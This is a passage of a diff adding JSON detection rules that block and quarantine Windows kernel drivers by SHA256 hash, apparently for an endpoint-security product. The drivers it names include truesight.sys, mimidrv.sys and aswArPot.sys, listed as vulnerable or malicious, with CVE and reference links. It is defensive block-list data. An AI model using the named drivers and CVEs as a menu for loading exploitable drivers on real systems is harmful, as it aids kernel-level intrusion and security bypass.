+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5baedc54ef0f89578724cbd3ebe5d6c38c2c5795f6cd21e65e575f6a91ead007",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88d6e481-c171-5d3a-9281-935afca0df92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618887Z",
+  "creation_date": "2026-03-23T11:45:29.618889Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618894Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6",
+  "comment": "Vulnerable Kernel Driver (aka amp.sys) [https://www.loldrivers.io/drivers/ca768fc5-9b5c-4ced-90ab-fd6be9a70199/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88e5f198-b107-579e-a5e4-d97baf71c799",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475446Z",
+  "creation_date": "2026-03-23T11:45:30.475449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42ff11ddb46dfe5fa895e7babf88ee27790cde53a9139fc384346a89e802a327",
+  "comment": "Malicious Kernel Driver (aka a26363e7b02b13f2b8d697abb90cd5c3.sys) [https://www.loldrivers.io/drivers/ef6b5fe8-6c4b-4b32-8adc-c1d8a83e8558/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88ee419a-6dfb-573a-b316-977b6085be0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478475Z",
+  "creation_date": "2026-03-23T11:45:31.478491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43a059aae1238eb3a19fd1ee7a7c9ef3ddfe903bab91c377b4e44238010b4b7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88f5eb26-4477-5a52-99c0-8509e0d33537",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605647Z",
+  "creation_date": "2026-03-23T11:45:29.605649Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88faca8b-0bd8-52ab-8b66-794997efe566",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475251Z",
+  "creation_date": "2026-03-23T11:45:31.475255Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b89b1e137d6bdac313585b007d5d063d8a5c7864b42017d8d1a7188d6b1276d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88fd5d44-19da-537e-b0af-1953bc63e9b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820231Z",
+  "creation_date": "2026-03-23T11:45:30.820232Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820238Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73664268a737d071f2c3c67503002db08432953f14771317835b6f080d3daeff",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "890a040d-13d9-583a-b30d-a90821109f33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618603Z",
+  "creation_date": "2026-03-23T11:45:29.618605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc041a5c21339d62c9ea05215c2c42697f73a3820c83133eb6c6fa574a095384",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89122970-562e-5a50-bb3a-e07fc760d058",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610141Z",
+  "creation_date": "2026-03-23T11:45:29.610143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89237bd7-2fc4-5256-bca6-fb30fb8c6b1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467678Z",
+  "creation_date": "2026-03-23T11:45:30.467681Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63e9918f94a1ae5d71e8972f49bfbce13d8b1774b7237b022f182f03cc9ce715",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "892a5e6f-133a-5067-8c1c-f552f00b5b47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485978Z",
+  "creation_date": "2026-03-23T11:45:31.485982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba874cc6574578d137caea35cd8e2133ed9d5ad55fb16701dd3d4be74cff9468",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8940aa3e-12ac-5608-ad60-0cc75913fc40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972843Z",
+  "creation_date": "2026-03-23T11:45:29.972846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56e8b8d21317d58abd8399b276ee800c62a53e864cd3553899e33b8616ef07a6",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8945d603-a254-516a-9d54-b613645f43dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969221Z",
+  "creation_date": "2026-03-23T11:45:29.969223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89483c03-249d-5141-b24c-f8319bbfa2c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834106Z",
+  "creation_date": "2026-03-23T11:45:30.834109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b783875f123bec0082eabd4fc235f4790337b044fd7c72993ab5f118c16fb04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "895478af-e180-58ff-bc17-7e47393c44c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147130Z",
+  "creation_date": "2026-03-23T11:45:31.147132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21cd1c9f9966b068dcc2eb4e474051a6bd7bbee40b0d034f86a45829f34cc6bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "895b48b0-1d09-5bf9-82e6-cf4e757ac4dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622599Z",
+  "creation_date": "2026-03-23T11:45:29.622601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b186926ed815d87eaf72759a69095a11274f5d13c33b8cc2b8700a1f020be1d",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89604d9c-4223-5668-88f3-d77bff91f14e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497753Z",
+  "creation_date": "2026-03-23T11:45:31.497757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497765Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "147ceda2d23bc576729003070127b1c0fa57d2c5a2e3f52ad7358b1f8c157f9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "896c2171-3a9a-5785-8dc8-f58deffd9594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494529Z",
+  "creation_date": "2026-03-23T11:45:31.494531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "056b87911f8f7d15bbe242c3b4625bb4cbe98695a38d05c10f3bc3df8de23693",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8972a31a-1295-570b-8dc8-3aba93c6f1c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160755Z",
+  "creation_date": "2026-03-23T11:45:31.160757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e3120166146e5c1c0a0d07ef87fdde6356946e384b9c3ab575449f945430814",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "897c40a0-2f11-51a5-9f6c-a5116648db99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481239Z",
+  "creation_date": "2026-03-23T11:45:30.481241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8866f6e762dd7dea58c9e9486da53d716f3ae61048a8a10f8033b60fb5028914",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "898d7ef2-6af5-5ac2-9d92-6e3b6eb77455",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480580Z",
+  "creation_date": "2026-03-23T11:45:30.480581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5df689a62003d26df4aefbaed41ec1205abbf3a2e18e1f1d51b97711e8fcdf00",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "899041eb-34cf-5965-8308-192eca166540",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478513Z",
+  "creation_date": "2026-03-23T11:45:30.478516Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ef8c776a6acd4fd360b22e7d053bba961d687c36ec4fcc0b3e2ff1ef7be967e",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "89b3dbda-7785-578e-a386-5402b0303e86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829771Z",
+  "creation_date": "2026-03-23T11:45:30.829774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de88b28e2b2a4a6a2aebd0d36a843c7dace17d4d084e0171457f15ace72c69ef",
